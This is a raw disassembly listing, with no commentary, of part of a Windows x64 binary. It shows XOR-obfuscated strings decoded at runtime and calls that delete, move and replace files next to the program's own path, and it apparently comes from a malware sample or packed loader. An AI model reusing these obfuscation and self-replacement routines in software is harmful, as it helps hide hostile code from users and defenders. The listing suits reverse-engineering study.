lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.14004ac80
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x140062183
mov rcx, qword [rcx]
call fcn.1400953f4
cmp dword [rbp + 0x1b4], eax
je 0x14006271e
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x1400c5c50]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], 0xfe
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rsp + 0x64]
xorps xmm1, xmm0
movd dword [rsp + 0x64], xmm1
movd xmm2, dword [rbp - 0x10]
movd xmm0, dword [rsp + 0x68]
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x6c]
xorps xmm1, xmm0
movd dword [rsp + 0x6c], xmm1
mov word [rsp + 0x70], 0x7d
xor r9d, r9d
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x2f0]
call fcn.14004ac80
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rbp + 0x1e0]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140062250
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062296
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.14007e720
movdqa xmm0, xmmword [0x1400c6460]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xf1eac0fb
mov dword [rbp + 0x154], 0xe6e0cee9
mov word [rbp + 0x158], 0x8cee
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x144]
xorps xmm1, xmm0
movd dword [rbp + 0x144], xmm1
movd xmm2, dword [rbp - 0x10]
movd xmm0, dword [rbp + 0x148]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movd xmm1, r13d
movd xmm0, dword [rbp + 0x14c]
xorps xmm1, xmm0
movd dword [rbp + 0x14c], xmm1
mov ecx, edi
lea rdx, [rbp + 0x150]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140062350
mov byte [rbp + 0x159], 0
lea rdx, [0x1400d9e78]
cmp qword [0x1400d9e90], 0xf
cmova rdx, qword [0x1400d9e78]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x140]
call fcn.14005f5e0
test al, al
jne 0x140062553
movdqa xmm0, xmmword [0x1400c5cb0]
movdqu xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 0xeaece5e5
mov dword [rbp + 0x44], 0x8aa8ece2
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x30], xmm1
mov r9d, dword [rbp + 0x50]
movd xmm1, r9d
movd xmm0, dword [rbp + 0x34]
xorps xmm1, xmm0
movd dword [rbp + 0x34], xmm1
mov r8d, dword [rbp - 0x10]
movd xmm2, r8d
movd xmm0, dword [rbp + 0x38]
xorps xmm2, xmm0
movd dword [rbp + 0x38], xmm2
movd xmm1, r13d
movd xmm0, dword [rbp + 0x3c]
xorps xmm1, xmm0
movd dword [rbp + 0x3c], xmm1
mov ecx, edi
lea rdx, [rbp + 0x40]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x17
jb 0x140062430
mov byte [rbp + 0x47], 0
movdqa xmm0, xmmword [0x1400c5a00]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x86a42137
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movd xmm1, dword [rsp + 0x64]
movd xmm0, r9d
xorps xmm1, xmm0
movd dword [rsp + 0x64], xmm1
movd xmm2, dword [rsp + 0x68]
movd xmm0, r8d
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movd xmm1, dword [rsp + 0x6c]
movd xmm0, r13d
xorps xmm1, xmm0
movd dword [rsp + 0x6c], xmm1
lea rcx, [rsp + 0x70]
lea eax, [rdi + 0x73]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x13
jb 0x1400624b1
mov byte [rsp + 0x73], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x30]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1400624e4
mov r8, rbx
lea rcx, [0x1400d9e18]
call fcn.14007ccc0
nop
lea rcx, [rbp + 0x160]
call fcn.14007c610
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140061bee
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637ba
jmp 0x140061be9
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x14006257b
mov rcx, qword [rcx]
call fcn.1400953f4
cmp dword [rbp + 0x1b4], eax
je 0x14006271e
movdqa xmm0, xmmword [0x1400c66c0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xe9e6a4e2
mov dword [rsp + 0x74], 0xfafcfaf5
mov dword [rsp + 0x78], 0xe0e2e5ff
mov word [rsp + 0x7c], 0x90ae
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movd xmm2, dword [rsp + 0x64]
mov r9d, dword [rbp + 0x50]
movd xmm0, r9d
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
movd xmm1, dword [rsp + 0x68]
mov r8d, dword [rbp - 0x10]
movd xmm0, r8d
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
movd xmm2, dword [rsp + 0x6c]
movd xmm0, r13d
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
mov ecx, edi
lea rdx, [rsp + 0x70]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1d
jb 0x140062620
mov byte [rsp + 0x7d], 0
movdqa xmm0, xmmword [0x1400c58d0]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xb632a0e
mov dword [rbp + 0x154], 0x5146d18
mov word [rbp + 0x158], 0x8caa
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm2, dword [rbp + 0x144]
movd xmm0, r9d
xorps xmm2, xmm0
movd dword [rbp + 0x144], xmm2
movd xmm1, dword [rbp + 0x148]
movd xmm0, r8d
xorps xmm1, xmm0
movd dword [rbp + 0x148], xmm1
movd xmm2, dword [rbp + 0x14c]
movd xmm0, r13d
xorps xmm2, xmm0
movd dword [rbp + 0x14c], xmm2
lea rcx, [rbp + 0x150]
nop dword [rax]
lea eax, [rdi + 0x73]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x19
jb 0x1400626d0
mov byte [rbp + 0x159], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x60]
cmovne rdx, rcx
nop dword [rax + rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140062710
jmp 0x1400624ed
mov dword [rbp - 0x80], 0x786f62
lea r8, [rbp - 0x80]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.14004ac80
mov r8d, 0x104
lea rdx, [rbp + 0x510]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x510]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x140062777
mov rcx, qword [rcx]
call fcn.1400953f4
cmp dword [rbp + 0x1b4], eax
je 0x140062fd0
movdqa xmm0, xmmword [0x1400c6270]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xfba7e1f7
mov byte [rsp + 0x74], 0x87
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movd xmm2, dword [rsp + 0x64]
movd xmm0, dword [rbp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x64], xmm2
movd xmm1, dword [rsp + 0x68]
movd xmm0, dword [rbp - 0x10]
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
movd xmm2, dword [rsp + 0x6c]
movd xmm0, r13d
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
mov ecx, edi
lea rdx, [rsp + 0x70]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x14
jb 0x140062800
mov byte [rsp + 0x74], 0
xor r9d, r9d
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rbp + 0x2f0]
call fcn.14004ac80
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rbp + 0x1e0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062850
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062896
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.14007e720
movdqa xmm0, xmmword [0x1400c6460]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xf1eac0fb
mov dword [rbp + 0x154], 0xe6e0cee9
mov word [rbp + 0x158], 0x8cee
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm2, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x144]
xorps xmm2, xmm0
movd dword [rbp + 0x144], xmm2
movd xmm1, dword [rbp - 0x10]
movd xmm0, dword [rbp + 0x148]
xorps xmm1, xmm0
movd dword [rbp + 0x148], xmm1
movd xmm2, r13d
movd xmm0, dword [rbp + 0x14c]
xorps xmm2, xmm0
movd dword [rbp + 0x14c], xmm2
lea rcx, [rbp + 0x150]
lea eax, [rdi + 0x73]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x19
jb 0x140062942
mov byte [rbp + 0x159], 0
cmp qword [0x1400d9e90], 0xf
lea rdx, [0x1400d9e78]
cmova rdx, qword [0x1400d9e78]
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x2f0]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x140]
call fcn.14005f5e0
test al, al
jne 0x140062d65
movdqa xmm0, xmmword [0x1400c6490]
movdqu xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [0x1400c6220]
movdqu xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [0x1400c6130]
movdqu xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [0x1400c5f70]
movdqu xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [0x1400c5c60]
movdqu xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1400c5d10]
movdqu xmmword [rbp + 0x100], xmm1
mov dword [rbp + 0x110], 0xf6a1a7b6
mov dword [rbp + 0x114], 0xb6b6b7a3
mov word [rbp + 0x118], 0xfda8
mov byte [rbp + 0x11a], 0xdd
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 0xb8]
nop dword [rax]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x68
jb 0x140062a40
cmp r9d, 0x6a
jae 0x140062b83
mov eax, r9d
lea rcx, [rbp + 0xb0]
add rcx, rax
nop dword [rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x6a
jb 0x140062b70
mov byte [rbp + 0x11a], 0
movdqa xmm0, xmmword [0x1400c5a10]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400c5150]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400c5800]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c5860]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c5850]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x63722173
mov dword [rbp - 0x1c], 0xeb7e4d22
mov byte [rbp - 0x18], 0xcb
mov r9d, esi
lea r10, [rbp - 0x68]
nop dword [rax]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x58
jb 0x140062bf0
cmp r9d, 0x58
jae 0x140062d33
mov eax, r9d
lea rcx, [rbp - 0x70]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x58
jb 0x140062d20
mov byte [rbp - 0x18], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140062d57
jmp 0x1400624ed
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x140062d8d
mov rcx, qword [rcx]
call fcn.1400953f4
cmp dword [rbp + 0x1b4], eax
jne 0x140063025
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], rsi
lea rax, [rbp + 0x510]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140062dc0
mov r8, rbx
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x140]
call fcn.14007e720
nop
lea rdx, [0x1400c4ad0]
lea rcx, [rbp + 0x140]
call fcn.14007bf60
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movsxd r8, eax
cmp qword [rbp + 0x150], r8
cmovb r8, qword [rbp + 0x150]
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x88]
call fcn.14007e720
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140062e7e
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062e79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637d8
call fcn.140080604
movups xmm0, xmmword [rbp + 0x88]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rbp + 0x98]
movups xmmword [rbp + 0x150], xmm1
lea r9, [rbp + 0x140]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova r9, rcx
movdqa xmm0, xmmword [0x1400c5b80]
movdqu xmmword [rbp - 0x10], xmm0
mov ecx, esi
lea rax, [rbp - 0x10]
nop dword [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140062ed0
cmp ecx, 0xf
jae 0x140062f31
mov eax, ecx
lea r8, [rbp - 0x10]
add r8, rax
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xf
jb 0x140062f20
mov byte [rbp - 1], 0
lea r8, [rbp - 0x10]
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.14004ac80
lea rcx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14005e600
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1400637de
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140062fd0
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062fca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637ae
call fcn.140080604
nop
lea rcx, [rbp + 0x160]
call fcn.14007c610
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14006301e
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063019
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637ba
call fcn.140080604
mov al, 1
jmp 0x140061bf0
movdqa xmm0, xmmword [0x1400c6490]
movdqu xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [0x1400c6220]
movdqu xmmword [rbp + 0xc0], xmm1
movdqa xmm0, xmmword [0x1400c6130]
movdqu xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [0x1400c5f70]
movdqu xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [0x1400c5c60]
movdqu xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x1400c5d10]
movdqu xmmword [rbp + 0x100], xmm1
mov dword [rbp + 0x110], 0xf6a1a7b6
mov dword [rbp + 0x114], 0xb6b6b7a3
mov word [rbp + 0x118], 0xfda8
mov byte [rbp + 0x11a], 0xdd
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 0xb8]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x68
jb 0x1400630c0
cmp r9d, 0x6a
jae 0x140063203
mov eax, r9d
lea rcx, [rbp + 0xb0]
add rcx, rax
nop dword [rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x6a
jb 0x1400631f0
mov byte [rbp + 0x11a], 0
movdqa xmm0, xmmword [0x1400c5a10]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400c5150]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400c5800]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c5860]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c5850]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x63722173
mov dword [rbp - 0x1c], 0xeb7e4d22
mov byte [rbp - 0x18], 0xcb
mov r9d, esi
lea r10, [rbp - 0x68]
nop dword [rax]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x58
jb 0x140063270
cmp r9d, 0x58
jae 0x1400633b3
mov eax, r9d
lea rcx, [rbp - 0x70]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x58
jb 0x1400633a0
mov byte [rbp - 0x18], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1400633d7
mov r8, rbx
lea rcx, [0x1400d9e18]
call fcn.14007ccc0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400624fd
movdqa xmm0, xmmword [0x1400c6480]
movdqu xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x1400c6710]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm0, xmmword [0x1400c6050]
movdqu xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1d0], 0xa482
mov r9d, esi
mov r14d, 8
mov r10d, r14d
lea r11, [rbp + 0x1a8]
movdqa xmm4, xmmword [0x1400c4ff0]
mov edi, dword [rbp + 0x30]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
